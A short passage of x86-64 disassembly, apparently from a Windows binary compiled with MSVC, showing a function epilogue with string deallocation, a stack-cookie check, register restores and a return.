xor rcx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov qword [rax], rcx
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x1400115fb
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x1400115f6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011670
mov rcx, r8
call fcn.1400317b4
mov rax, r14
mov byte [r15], 0
mov qword [r15 + 0x18], 0xf
mov qword [r15 + 0x10], r13
mov rcx, qword [rbp + 0x4e40]
xor rcx, rsp
call fcn.140031320
lea r11, [rsp + 0x4ff0]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3